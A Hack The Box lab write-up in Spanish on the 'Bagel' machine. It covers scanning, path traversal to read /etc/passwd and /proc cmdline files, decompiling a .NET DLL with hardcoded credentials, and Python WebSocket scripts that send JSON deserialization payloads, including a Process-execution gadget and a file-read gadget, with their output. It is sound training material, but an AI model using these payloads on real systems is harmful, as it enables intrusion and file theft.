Hack The Box: Bagel Writeup | Medium

Table of Contents

Hack The Box: Bagel Writeup

Welcome to my detailed writeup of the medium difficulty machine “Bagel” on Hack The Box. This writeup will cover the steps taken to achieve initial foothold and escalation to root.

TCP Enumeration

1rustscan -a 10.129.228.247 --ulimit 5000 -g
210.129.228.247 -> [22,5000]
 1nmap -p22,5000 -sCV 10.129.228.247 -oN allPorts
 2Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-17 15:16 CET
 3Nmap scan report for 10.129.228.247
 4Host is up (0.037s latency).
 5
 6PORT     STATE SERVICE VERSION
 722/tcp   open  ssh     OpenSSH 8.8 (protocol 2.0)
 8| ssh-hostkey:
 9|   256 6e:4e:13:41:f2:fe:d9:e0:f7:27:5b:ed:ed:cc:68:c2 (ECDSA)
10|_  256 80:a7:cd:10:e7:2f:db:95:8b:86:9b:1b:20:65:2a:98 (ED25519)
115000/tcp open  upnp?
12| fingerprint-strings:
13|   GetRequest:
14|     HTTP/1.1 400 Bad Request
15|     Server: Microsoft-NetCore/2.0
16|     Date: Tue, 17 Dec 2024 14:17:09 GMT
17|     Connection: close
18|   HTTPOptions:
19|     HTTP/1.1 400 Bad Request
20|     Server: Microsoft-NetCore/2.0
21|     Date: Tue, 17 Dec 2024 14:17:24 GMT
22|     Connection: close
23|   Help, SSLSessionReq:
24|     HTTP/1.1 400 Bad Request
25|     Content-Type: text/html
26|     Server: Microsoft-NetCore/2.0
27|     Date: Tue, 17 Dec 2024 14:17:34 GMT
28|     Content-Length: 52
29|     Connection: close
30|     Keep-Alive: true
31|     <h1>Bad Request (Invalid request line (parts).)</h1>
32|   RTSPRequest:
33|     HTTP/1.1 400 Bad Request
34|     Content-Type: text/html
35|     Server: Microsoft-NetCore/2.0
36|     Date: Tue, 17 Dec 2024 14:17:09 GMT
37|     Content-Length: 54
38|     Connection: close
39|     Keep-Alive: true
40|     <h1>Bad Request (Invalid request line (version).)</h1>
41|   TLSSessionReq, TerminalServerCookie:
42|     HTTP/1.1 400 Bad Request
43|     Content-Type: text/html
44|     Server: Microsoft-NetCore/2.0
45|     Date: Tue, 17 Dec 2024 14:17:35 GMT
46|     Content-Length: 52
47|     Connection: close
48|     Keep-Alive: true
49|_    <h1>Bad Request (Invalid request line (parts).)</h1>
501 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
51SF-Port5000-TCP:V=7.94SVN%I=7%D=12/17%Time=676187E3%P=x86_64-pc-linux-gnu%
52SF:r(GetRequest,73,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nServer:\x20Micro
53SF:soft-NetCore/2\.0\r\nDate:\x20Tue,\x2017\x20Dec\x202024\x2014:17:09\x20
54SF:GMT\r\nConnection:\x20close\r\n\r\n")%r(RTSPRequest,E8,"HTTP/1\.1\x2040
55SF:0\x20Bad\x20Request\r\nContent-Type:\x20text/html\r\nServer:\x20Microso
56SF:ft-NetCore/2\.0\r\nDate:\x20Tue,\x2017\x20Dec\x202024\x2014:17:09\x20GM
57SF:T\r\nContent-Length:\x2054\r\nConnection:\x20close\r\nKeep-Alive:\x20tr
58SF:ue\r\n\r\n<h1>Bad\x20Request\x20\(Invalid\x20request\x20line\x20\(versi
59SF:on\)\.\)</h1>")%r(HTTPOptions,73,"HTTP/1\.1\x20400\x20Bad\x20Request\r\
60SF:nServer:\x20Microsoft-NetCore/2\.0\r\nDate:\x20Tue,\x2017\x20Dec\x20202
61SF:4\x2014:17:24\x20GMT\r\nConnection:\x20close\r\n\r\n")%r(Help,E6,"HTTP/
62SF:1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20text/html\r\nServer:\
63SF:x20Microsoft-NetCore/2\.0\r\nDate:\x20Tue,\x2017\x20Dec\x202024\x2014:1
64SF:7:34\x20GMT\r\nContent-Length:\x2052\r\nConnection:\x20close\r\nKeep-Al
65SF:ive:\x20true\r\n\r\n<h1>Bad\x20Request\x20\(Invalid\x20request\x20line\
66SF:x20\(parts\)\.\)</h1>")%r(SSLSessionReq,E6,"HTTP/1\.1\x20400\x20Bad\x20
67SF:Request\r\nContent-Type:\x20text/html\r\nServer:\x20Microsoft-NetCore/2
68SF:\.0\r\nDate:\x20Tue,\x2017\x20Dec\x202024\x2014:17:34\x20GMT\r\nContent
69SF:-Length:\x2052\r\nConnection:\x20close\r\nKeep-Alive:\x20true\r\n\r\n<h
70SF:1>Bad\x20Request\x20\(Invalid\x20request\x20line\x20\(parts\)\.\)</h1>"
71SF:)%r(TerminalServerCookie,E6,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nCont
72SF:ent-Type:\x20text/html\r\nServer:\x20Microsoft-NetCore/2\.0\r\nDate:\x2
73SF:0Tue,\x2017\x20Dec\x202024\x2014:17:35\x20GMT\r\nContent-Length:\x2052\
74SF:r\nConnection:\x20close\r\nKeep-Alive:\x20true\r\n\r\n<h1>Bad\x20Reques
75SF:t\x20\(Invalid\x20request\x20line\x20\(parts\)\.\)</h1>")%r(TLSSessionR
76SF:eq,E6,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20text/html
77SF:\r\nServer:\x20Microsoft-NetCore/2\.0\r\nDate:\x20Tue,\x2017\x20Dec\x20
78SF:2024\x2014:17:35\x20GMT\r\nContent-Length:\x2052\r\nConnection:\x20clos
79SF:e\r\nKeep-Alive:\x20true\r\n\r\n<h1>Bad\x20Request\x20\(Invalid\x20requ
80SF:est\x20line\x20\(parts\)\.\)</h1>");
81
82Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
83Nmap done: 1 IP address (1 host up) scanned in 100.31 seconds

UDP Enumeration

 1sudo nmap --top-ports 1500 -sU --min-rate 5000 -n -Pn 10.129.228.247 -oN allPorts.UDP
 2[sudo] password for kali:
 3Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-17 15:16 CET
 4Nmap scan report for 10.129.228.247
 5Host is up (0.037s latency).
 6Not shown: 1494 open|filtered udp ports (no-response)
 7PORT      STATE  SERVICE
 816739/udp closed unknown
 917573/udp closed unknown
1020851/udp closed unknown
1129541/udp closed unknown
1236778/udp closed unknown
1351554/udp closed unknown
14
15Nmap done: 1 IP address (1 host up) scanned in 0.88 seconds

HTTP Enumeration

La versión de OpenSSH no es vulnerable, por lo cual el vector de ataque tiene pinta de que debe de ser por HTTP.

Además, del escaneo inicial encontramos algo interesante, Server: Microsoft-NetCore/2.0, esto es un entorno de ejecución de ASP.NET que permite ejecutar aplicaciones web o de servidores, compatible con Linux. Por lo cual nos vamos a enfrentar a una aplicación .NET

whatweb no nos reporta nada interesante salvo que la raíz de la aplicación web nos reporta un código de error 400 Bad Request.

1whatweb http://10.129.228.247:5000
2http://10.129.228.247:5000 [400 Bad Request] Country[RESERVED][ZZ], HTTPServer[Microsoft-NetCore/2.0], IP[10.129.228.247]

Intentando fuzzear con feroxbuster me reporta un error de time-out.

 1feroxbuster -u http://10.129.228.247:5000 -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -d 1 -t 100
 2
 3 ___  ___  __   __     __      __         __   ___
 4|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
 5|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
 6by Ben "epi" Risher 🤓                 ver: 2.10.3
 7───────────────────────────┬──────────────────────
 8 🎯  Target Url            │ http://10.129.228.247:5000
 9 🚀  Threads               │ 100
10 📖  Wordlist              │ /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
11 👌  Status Codes          │ All Status Codes!
12 💥  Timeout (secs)        │ 7
13 🦡  User-Agent            │ feroxbuster/2.10.3
14 💉  Config File           │ /etc/feroxbuster/ferox-config.toml
15 🔎  Extract Links         │ true
16 🏁  HTTP methods          │ [GET]
17 🔃  Recursion Depth       │ 1
18 🎉  New Version Available │ https://github.com/epi052/feroxbuster/releases/latest
19───────────────────────────┴──────────────────────
20 🏁  Press [ENTER] to use the Scan Management Menu™
21──────────────────────────────────────────────────
22Could not connect to http://10.129.228.247:5000, skipping...
23  => error sending request for url (http://10.129.228.247:5000/): operation timed out

Escaneando otra vez con rustscan vemos que también existe el puerto 8000 abierto, menos mal que me di cuenta temprano de esto antes de comerme la cabeza.

1rustscan -a 10.129.228.247 --ulimit 5000 -g
210.129.228.247 -> [5000,8000,22]

nmap nos reporta cosas interesantes, como parecía, es otra aplicación web pero esta vez de Flask y además encontramos el dominio bagel.htb, lo añadimos al /etc/hosts.

 1nmap -p8000 -sCV 10.129.228.247
 2Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-17 15:26 CET
 3Nmap scan report for 10.129.228.247
 4Host is up (0.036s latency).
 5
 6PORT     STATE SERVICE  VERSION
 78000/tcp open  http-alt Werkzeug/2.2.2 Python/3.10.9
 8|_http-server-header: Werkzeug/2.2.2 Python/3.10.9
 9|_http-title: Did not follow redirect to http://bagel.htb:8000/?page=index.html
10| fingerprint-strings:
11|   FourOhFourRequest:
12|     HTTP/1.1 404 NOT FOUND
13|     Server: Werkzeug/2.2.2 Python/3.10.9
14|     Date: Tue, 17 Dec 2024 14:26:56 GMT
15|     Content-Type: text/html; charset=utf-8
16|     Content-Length: 207
17|     Connection: close
18|     <!doctype html>
19|     <html lang=en>
20|     <title>404 Not Found</title>
21|     <h1>Not Found</h1>
22|     <p>The requested URL was not found on the server. If you entered the URL manually please check your spelling and try again.</p>
23|   GetRequest:
24|     HTTP/1.1 302 FOUND
25|     Server: Werkzeug/2.2.2 Python/3.10.9
26|     Date: Tue, 17 Dec 2024 14:26:51 GMT
27|     Content-Type: text/html; charset=utf-8
28|     Content-Length: 263
29|     Location: http://bagel.htb:8000/?page=index.html
30|     Connection: close
31|     <!doctype html>
32|     <html lang=en>
33|     <title>Redirecting...</title>
34|     <h1>Redirecting...</h1>
35|     <p>You should be redirected automatically to the target URL: <a href="http://bagel.htb:8000/?page=index.html">http://bagel.htb:8000/?page=index.html</a>. If not, click the link.
36|   Socks5:
37|     <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"
38|     "http://www.w3.org/TR/html4/strict.dtd">
39|     <html>
40|     <head>
41|     <meta http-equiv="Content-Type" content="text/html;charset=utf-8">
42|     <title>Error response</title>
43|     </head>
44|     <body>
45|     <h1>Error response</h1>
46|     <p>Error code: 400</p>
47|     <p>Message: Bad request syntax ('
48|     ').</p>
49|     <p>Error code explanation: HTTPStatus.BAD_REQUEST - Bad request syntax or unsupported method.</p>
50|     </body>
51|_    </html>
521 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
53SF-Port8000-TCP:V=7.94SVN%I=7%D=12/17%Time=67618A29%P=x86_64-pc-linux-gnu%
54SF:r(GetRequest,1EA,"HTTP/1\.1\x20302\x20FOUND\r\nServer:\x20Werkzeug/2\.2
55SF:\.2\x20Python/3\.10\.9\r\nDate:\x20Tue,\x2017\x20Dec\x202024\x2014:26:5
56SF:1\x20GMT\r\nContent-Type:\x20text/html;\x20charset=utf-8\r\nContent-Len
57SF:gth:\x20263\r\nLocation:\x20http://bagel\.htb:8000/\?page=index\.html\r
58SF:\nConnection:\x20close\r\n\r\n<!doctype\x20html>\n<html\x20lang=en>\n<t
59SF:itle>Redirecting\.\.\.</title>\n<h1>Redirecting\.\.\.</h1>\n<p>You\x20s
60SF:hould\x20be\x20redirected\x20automatically\x20to\x20the\x20target\x20UR
61SF:L:\x20<a\x20href=\"http://bagel\.htb:8000/\?page=index\.html\">http://b
62SF:agel\.htb:8000/\?page=index\.html</a>\.\x20If\x20not,\x20click\x20the\x
63SF:20link\.\n")%r(FourOhFourRequest,184,"HTTP/1\.1\x20404\x20NOT\x20FOUND\
64SF:r\nServer:\x20Werkzeug/2\.2\.2\x20Python/3\.10\.9\r\nDate:\x20Tue,\x201
65SF:7\x20Dec\x202024\x2014:26:56\x20GMT\r\nContent-Type:\x20text/html;\x20c
66SF:harset=utf-8\r\nContent-Length:\x20207\r\nConnection:\x20close\r\n\r\n<
67SF:!doctype\x20html>\n<html\x20lang=en>\n<title>404\x20Not\x20Found</title
68SF:>\n<h1>Not\x20Found</h1>\n<p>The\x20requested\x20URL\x20was\x20not\x20f
69SF:ound\x20on\x20the\x20server\.\x20If\x20you\x20entered\x20the\x20URL\x20
70SF:manually\x20please\x20check\x20your\x20spelling\x20and\x20try\x20again\
71SF:.</p>\n")%r(Socks5,213,"<!DOCTYPE\x20HTML\x20PUBLIC\x20\"-//W3C//DTD\x2
72SF:0HTML\x204\.01//EN\"\n\x20\x20\x20\x20\x20\x20\x20\x20\"http://www\.w3\
73SF:.org/TR/html4/strict\.dtd\">\n<html>\n\x20\x20\x20\x20<head>\n\x20\x20\
74SF:x20\x20\x20\x20\x20\x20<meta\x20http-equiv=\"Content-Type\"\x20content=
75SF:\"text/html;charset=utf-8\">\n\x20\x20\x20\x20\x20\x20\x20\x20<title>Er
76SF:ror\x20response</title>\n\x20\x20\x20\x20</head>\n\x20\x20\x20\x20<body
77SF:>\n\x20\x20\x20\x20\x20\x20\x20\x20<h1>Error\x20response</h1>\n\x20\x20
78SF:\x20\x20\x20\x20\x20\x20<p>Error\x20code:\x20400</p>\n\x20\x20\x20\x20\
79SF:x20\x20\x20\x20<p>Message:\x20Bad\x20request\x20syntax\x20\('\\x05\\x04
80SF:\\x00\\x01\\x02\\x80\\x05\\x01\\x00\\x03'\)\.</p>\n\x20\x20\x20\x20\x20
81SF:\x20\x20\x20<p>Error\x20code\x20explanation:\x20HTTPStatus\.BAD_REQUEST
82SF:\x20-\x20Bad\x20request\x20syntax\x20or\x20unsupported\x20method\.</p>\
83SF:n\x20\x20\x20\x20</body>\n</html>\n");
84
85Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
86Nmap done: 1 IP address (1 host up) scanned in 95.00 seconds

Este es el sitio web. Write-up Image

Directory Path Traversal -> Local File Inclusion

Como podemos ver el parámetro page pinta turbio, ya que se le está pasando un archivo directamente, podemos comprobar si es vulnerable a Path Traversal y vemos que si, muy básico todo por ahora.

 1curl http://bagel.htb:8000/\?page\=../../../../../../../../../etc/passwd
 2root:x:0:0:root:/root:/bin/bash
 3bin:x:1:1:bin:/bin:/sbin/nologin
 4daemon:x:2:2:daemon:/sbin:/sbin/nologin
 5adm:x:3:4:adm:/var/adm:/sbin/nologin
 6lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
 7sync:x:5:0:sync:/sbin:/bin/sync
 8shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
 9halt:x:7:0:halt:/sbin:/sbin/halt
10mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
11operator:x:11:0:operator:/root:/sbin/nologin
12games:x:12:100:games:/usr/games:/sbin/nologin
13ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
14nobody:x:65534:65534:Kernel Overflow User:/:/sbin/nologin
15dbus:x:81:81:System message bus:/:/sbin/nologin
16tss:x:59:59:Account used for TPM access:/dev/null:/sbin/nologin
17systemd-network:x:192:192:systemd Network Management:/:/usr/sbin/nologin
18systemd-oom:x:999:999:systemd Userspace OOM Killer:/:/usr/sbin/nologin
19systemd-resolve:x:193:193:systemd Resolver:/:/usr/sbin/nologin
20polkitd:x:998:997:User for polkitd:/:/sbin/nologin
21rpc:x:32:32:Rpcbind Daemon:/var/lib/rpcbind:/sbin/nologin
22abrt:x:173:173::/etc/abrt:/sbin/nologin
23setroubleshoot:x:997:995:SELinux troubleshoot server:/var/lib/setroubleshoot:/sbin/nologin
24cockpit-ws:x:996:994:User for cockpit web service:/nonexisting:/sbin/nologin
25cockpit-wsinstance:x:995:993:User for cockpit-ws instances:/nonexisting:/sbin/nologin
26rpcuser:x:29:29:RPC Service User:/var/lib/nfs:/sbin/nologin
27sshd:x:74:74:Privilege-separated SSH:/usr/share/empty.sshd:/sbin/nologin
28chrony:x:994:992::/var/lib/chrony:/sbin/nologin
29dnsmasq:x:993:991:Dnsmasq DHCP and DNS server:/var/lib/dnsmasq:/sbin/nologin
30tcpdump:x:72:72::/:/sbin/nologin
31systemd-coredump:x:989:989:systemd Core Dumper:/:/usr/sbin/nologin
32systemd-timesync:x:988:988:systemd Time Synchronization:/:/usr/sbin/nologin
33developer:x:1000:1000::/home/developer:/bin/bash
34phil:x:1001:1001::/home/phil:/bin/bash
35_laurel:x:987:987::/var/log/laurel:/bin/false

Como es una aplicación Flask podríamos intentar conseguir unos archivos del sistema mediante Path Traversal para poder conseguir generar el código de la consola de Werkzeug pero podemos ver que está deshabilitada. Write-up Image

Dumping source code

Como es normal, las aplicaciones web de python tiene un archivo app.py como script central para iniciar la aplicación, vamos a leer el código para ver que está pasando, este archivo se encuentra en ../app.py.

 1from flask import Flask, request, send_file, redirect, Response
 2import os.path
 3import websocket,json
 4
 5app = Flask(__name__)
 6
 7@app.route('/')
 8def index():
 9        if 'page' in request.args:
10            page = 'static/'+request.args.get('page')
11            if os.path.isfile(page):
12                resp=send_file(page)
13                resp.direct_passthrough = False
14                if os.path.getsize(page) == 0:
15                    resp.headers["Content-Length"]=str(len(resp.get_data()))
16                return resp
17            else:
18                return "File not found"
19        else:
20                return redirect('http://bagel.htb:8000/?page=index.html', code=302)
21
22@app.route('/orders')
23def order(): # don't forget to run the order app first with "dotnet <path to .dll>" command. Use your ssh key to access the machine.
24    try:
25        ws = websocket.WebSocket()
26        ws.connect("ws://127.0.0.1:5000/") # connect to order app
27        order = {"ReadOrder":"orders.txt"}
28        data = str(json.dumps(order))
29        ws.send(data)
30        result = ws.recv()
31        return(json.loads(result)['ReadOrder'])
32    except:
33        return("Unable to connect")
34
35if __name__ == '__main__':
36  app.run(host='0.0.0.0', port=8000)

El endpoint /orders establece una conexión a través de WebSocket con la aplicación que está en el puerto 5000, luego envía un mensaje en formato JSON con la intención de leer un archivo orders.txt

Podemos intentar cargar el archivo orders.txt pero después de un rato, vemos que el servidor nos responde con la cadena test

1import websocket,json
2
3ws = websocket.WebSocket()
4ws.connect("ws://bagel.htb:5000/") # connect to order app
5order = {"ReadOrder":"orders.txt"}
6data = str(json.dumps(order))
7ws.send(data)
8result = ws.recv()
9print(json.loads(result)['ReadOrder'])
1python3 exploit.py
2test

Brute-forcing PID’s cmdline

Podríamos intentar recuperar el .dll o el .exe del servidor WebSocket a través del Path Traversal e intentar descompilarlo para ver si se oculta información privilegiada pero por ahora no tengo ni idea de donde se encuentra el archivo .dll que queremos recuperar.

Como tenemos un LFI y el WebSocket está activo y según el código parece que se debe de ejecutar manualmente, de ahí el recordatorio de abrir el WS en forma de comentario que nos hemos encontrado podemos hacer una cosa.

En linux, en /proc se incluye un directorio por cada proceso que está en ejecución, los directorios son /proc/PID siendo PID el número del proceso. Dentro de este directorio existe un fichero que contiene información sobre el comando original que ejecutó el proceso llamado cmdline, por lo que quizás podemos recuperar el comando con el que se ejecutó el servidor WebSocket y si se ha utilizado rutas absolutas podríamos saber cual es el archivo que nos interesa para descompilarlo.

Con un bucle for y grep podemos iterar hasta un número elevado ya que los PID en linux suelen ser números altos y encontramos algo interesante.

 1for i in {1..80000}; do curl -s http://bagel.htb:8000/\?page\=../../../../../../../../../proc/$i/cmdline --output - | grep -v "File not found" --binary-files=text && echo "  -> PID: $i"; done
 2/usr/lib/systemd/systemdrhgb--switched-root--system--deserialize35
 3  -> PID: 1
 4/usr/lib/systemd/systemd-journald
 5  -> PID: 760
 6/usr/lib/systemd/systemd-udevd
 7  -> PID: 774
 8/usr/lib/systemd/systemd-oomd
 9  -> PID: 852
10/usr/lib/systemd/systemd-resolved
11  -> PID: 854
12/usr/lib/systemd/systemd-userdbd
13  -> PID: 855
14/sbin/auditd
15  -> PID: 856
16/sbin/auditd
17  -> PID: 857
18/usr/sbin/sedispatch
19  -> PID: 858
20/usr/local/sbin/laurel--config/etc/laurel/config.toml
21  -> PID: 859
22/sbin/auditd
23  -> PID: 860
24/usr/sbin/NetworkManager--no-daemon
25  -> PID: 888
26dotnet/opt/bagel/bin/Debug/net6.0/bagel.dll
27  -> PID: 892
28python3/home/developer/app/app.py
29  -> PID: 894
30/usr/sbin/irqbalance--foreground
31  -> PID: 895
32/usr/lib/polkit-1/polkitd--no-debug
33  -> PID: 897
34/usr/sbin/rsyslogd-n
35  -> PID: 898
36/usr/sbin/rsyslogd-n
37  -> PID: 900
38/usr/lib/systemd/systemd-logind
39  -> PID: 901
40/usr/bin/VGAuthService-s
41  -> PID: 902
42/usr/bin/vmtoolsd
43  -> PID: 903
44/usr/sbin/abrtd-d-s
45  -> PID: 904
46/usr/sbin/chronyd-F2
47  -> PID: 906
48/usr/bin/dbus-broker-launch--scopesystem--audit
49  -> PID: 907
50/usr/sbin/rsyslogd-n
51  -> PID: 915
52dbus-broker--log4--controller9--machine-idce8a2667e5384602a9b46d6ad7614e92--max-bytes536870912--max-fds4096--max-matches131072--audit
53  -> PID: 916
54dotnet/opt/bagel/bin/Debug/net6.0/bagel.dll
55  -> PID: 921
56dotnet/opt/bagel/bin/Debug/net6.0/bagel.dll
57  -> PID: 922
58dotnet/opt/bagel/bin/Debug/net6.0/bagel.dll
59  -> PID: 923
60dotnet/opt/bagel/bin/Debug/net6.0/bagel.dll
61  -> PID: 924
62dotnet/opt/bagel/bin/Debug/net6.0/bagel.dll
63  -> PID: 925
64dotnet/opt/bagel/bin/Debug/net6.0/bagel.dll
65  -> PID: 926
66dotnet/opt/bagel/bin/Debug/net6.0/bagel.dll
67  -> PID: 927

Decompiling .NET dll w/dotPeek

El comando utilizado para ejecutar el proceso del WebSocket ha sido:

1dotnet /opt/bagel/bin/Debug/net6.0/bagel.dll

Ahora podemos descargarnos este .dll

 1wget http://bagel.htb:8000/\?page\=../../../../../../../../opt/bagel/bin/Debug/net6.0/bagel.dll
 2--2024-12-17 16:09:06--  http://bagel.htb:8000/?page=../../../../../../../../opt/bagel/bin/Debug/net6.0/bagel.dll
 3Resolving bagel.htb (bagel.htb)... 10.129.228.247
 4Connecting to bagel.htb (bagel.htb)|10.129.228.247|:8000... connected.
 5HTTP request sent, awaiting response... 200 OK
 6Length: 10752 (10K) [application/octet-stream]
 7Saving to: ‘index.html?page=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fopt%2Fbagel%2Fbin%2FDebug%2Fnet6.0%2Fbagel.dll’
 8
 9index.html?page=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fop 100%[======================================================================================================================================>]  10.50K  --.-KB/s    in 0s
10
112024-12-17 16:09:06 (28.8 MB/s) - ‘index.html?page=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fopt%2Fbagel%2Fbin%2FDebug%2Fnet6.0%2Fbagel.dll’ saved [10752/10752]

Lo renombramos.

1mv index.html\?page=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fopt%2Fbagel%2Fbin%2FDebug%2Fnet6.0%2Fbagel.dll bagel.dll

Ahora podemos comprobar que efectivamente este es un archivo .dll que utiliza .NET.

1file bagel.dll
2bagel.dll: PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows, 3 sections

Esto significa que podemos utilizar dotPeek para descompilar el DLL y ver que contiene.

Nos podemos compartir el DLL a nuestra máquina con impacket-smbserver, una vez abierto en dotPeek podemos leer el código fuente de la aplicación. Write-up Image

Information Disclosure

En la clase DB y en el método DB_connection() encontramos una línea que realiza una conexión Sql donde está hardcodeada unas credenciales.

dev:k8wdAYYKyhnjg3K

Write-up Image

Quizás son las credenciales de los usuarios developer o phil pero no podemos conectarnos por SSH ya que solo se permite autenticación por par de claves.

1ssh developer@bagel.htb
2developer@bagel.htb: Permission denied (publickey,gssapi-keyex,gssapi-with-mic).

Insecure JSON Deserialization

Analizando el código encontramos la clase Handler que contiene métodos relacionados con la serialización y deserialización de objetos.

 1public class Handler
 2  {
 3    public object Serialize(object obj)
 4    {
 5      return (object) JsonConvert.SerializeObject(obj, (Formatting) 1, new JsonSerializerSettings()
 6      {
 7        TypeNameHandling = (TypeNameHandling) 4
 8      });
 9    }
10
11    public object Deserialize(string json)
12    {
13      try
14      {
15        return (object) JsonConvert.DeserializeObject<Base>(json, new JsonSerializerSettings()
16        {
17          TypeNameHandling = (TypeNameHandling) 4
18        });
19      }
20      catch
21      {
22        return (object) "{\"Message\":\"unknown\"}";
23      }
24    }
25  }

Este método es vulnerable a un ataque de deserialización ya que se utiliza la opción TypeNameHandling.All en JsonConvert.DeserializeObject y además el input del usuario no es filtrado en ningún momento.

Por qué es peligroso TypeNameHandling.All?

En Linux, podemos usar clases estándar como System.Diagnostics.Process para ejecutar comandos del sistema.

Vamos a intentar ejecutar un comando a nivel de sistema para mandarnos un ping, este payload está generado por ChatGPT.

1{
2  "$type": "System.Diagnostics.Process, System.Diagnostics.Process",
3  "StartInfo": {
4    "FileName": "/bin/bash",
5    "Arguments": "-c 'ping -c 4 <IP_ATACANTE>'"
6  }
7}

Lo que mas me interesa de este payload es el valor de $type

Escribiendo un simple script en python…

 1import websocket
 2
 3url = "ws://bagel.htb:5000/"
 4
 5# Payload JSON malicioso
 6payload = '''
 7{
 8  "$type": "System.Diagnostics.Process, System.Diagnostics.Process",
 9  "StartInfo": {
10    "FileName": "/bin/bash",
11    "Arguments": "-c 'ping -c 4 10.10.14.197'"
12  }
13}
14'''
15
16ws = websocket.WebSocket()
17ws.connect(url)
18
19print("[*] Enviando payload malicioso...")
20ws.send(payload)
21
22response = ws.recv()
23print("[*] Respuesta del servidor:", response)
24
25ws.close()

Al ejecutarlo nos devuelve lo siguiente:

1python3 exploit.py
2[*] Enviando payload malicioso...
3[*] Respuesta del servidor: "{\"Message\":\"unknown\"}"

Esto significa que la solicitud ha generado una excepción en el método, por lo cual nos ha devuelto ese mensaje. Write-up Image

Abusing File.ReadFile + Orders.RemoveOrder with the Deserialization Vulnerability to read phil private key

Quizás no funciona ya que la biblioteca System.Diagnostics no está disponible en el servidor Linux o el ensamblado System.Diagnostics.Process está bloqueado.

Por lo cual podemos intentar usar otras bibliotecas, o los tipos específicos en el código que hemos encontrado como por ejemplo la clase File.

En esta clase tenemos el método ReadFile con el cual podemos leer un archivo.

 1
 2    public string ReadFile
 3    {
 4      set
 5      {
 6        this.filename = value;
 7        this.ReadContent(this.directory + this.filename);
 8      }
 9      get => this.file_content;
10    }

Ahora, podemos ver que la clase Orders tiene una instancia de File Write-up Image

El problema es que el método ReadOrder contiene una sanitización para evitar el Path Traversal, por lo cual vamos a aprovechar la deserialización que se puede realizar y el método RemoveOrder que no contiene esta sanitización y como podéis ver en el código no se define los getter ni los setter, por lo cual directamente se guarda el valor que se le pasa y se retorna cuando se lee, esto nos viene perfecto para poder leer un archivo del sistema.

 1public class Orders
 2  {
 3    private string order_filename;
 4    private string order_info;
 5    private File file = new File();
 6
 7    [field: DebuggerBrowsable]
 8    public object RemoveOrder { get; set; }
 9
10    public string WriteOrder
11    {
12      get => this.file.WriteFile;
13      set
14      {
15        this.order_info = value;
16        this.file.WriteFile = this.order_info;
17      }
18    }
19
20    public string ReadOrder
21    {
22      get => this.file.ReadFile;
23      set
24      {
25        this.order_filename = value;
26        this.order_filename = this.order_filename.Replace("/", "");
27        this.order_filename = this.order_filename.Replace("..", "");
28        this.file.ReadFile = this.order_filename;
29      }
30    }
31  }

Entonces juntando todo, deberíamos de ser capaz de crear un objeto RemoveOrder pasando como argumento un objeto de tipo File con el ReadFile setteado con el archivo que queremos leer.

Entonces, modificando el payload que anteriormente nos ha dado ChatGPT y leyendo la documentación oficial , el payload se queda en lo siguiente:

1{
2    "RemoveOrder": {
3        "$type": "bagel_server.File, bagel",
4        "ReadFile": "../../../../../../../../etc/passwd"
5    }
6}

Entonces, con el siguiente script en python, podemos enviar el payload que queremos.

 1import websocket
 2
 3url = "ws://bagel.htb:5000/"
 4
 5payload = '''
 6{
 7    "RemoveOrder": {
 8        "$type": "bagel_server.File, bagel",
 9        "ReadFile": "../../../../../../../../etc/passwd"
10    }
11}
12'''
13
14ws = websocket.WebSocket()
15ws.connect(url)
16
17print("[*] Enviando payload malicioso...")
18ws.send(payload)
19
20response = ws.recv()
21print("[*] Respuesta del servidor:", response)
22
23ws.close()

Y vemos que efectivamente, podemos leer el archivo que queramos.

 1python3 exploit.py
 2[*] Enviando payload malicioso...
 3[*] Respuesta del servidor: {
 4  "UserId": 0,
 5  "Session": "Unauthorized",
 6  "Time": "6:11:40",
 7  "RemoveOrder": {
 8    "$type": "bagel_server.File, bagel",
 9    "ReadFile": "root:x:0:0:root:/root:/bin/bash\nbin:x:1:1:bin:/bin:/sbin/nologin\ndaemon:x:2:2:daemon:/sbin:/sbin/nologin\nadm:x:3:4:adm:/var/adm:/sbin/nologin\nlp:x:4:7:lp:/var/spool/lpd:/sbin/nologin\nsync:x:5:0:sync:/sbin:/bin/sync\nshutdown:x:6:0:shutdown:/sbin:/sbin/shutdown\nhalt:x:7:0:halt:/sbin:/sbin/halt\nmail:x:8:12:mail:/var/spool/mail:/sbin/nologin\noperator:x:11:0:operator:/root:/sbin/nologin\ngames:x:12:100:games:/usr/games:/sbin/nologin\nftp:x:14:50:FTP User:/var/ftp:/sbin/nologin\nnobody:x:65534:65534:Kernel Overflow User:/:/sbin/nologin\ndbus:x:81:81:System message bus:/:/sbin/nologin\ntss:x:59:59:Account used for TPM access:/dev/null:/sbin/nologin\nsystemd-network:x:192:192:systemd Network Management:/:/usr/sbin/nologin\nsystemd-oom:x:999:999:systemd Userspace OOM Killer:/:/usr/sbin/nologin\nsystemd-resolve:x:193:193:systemd Resolver:/:/usr/sbin/nologin\npolkitd:x:998:997:User for polkitd:/:/sbin/nologin\nrpc:x:32:32:Rpcbind 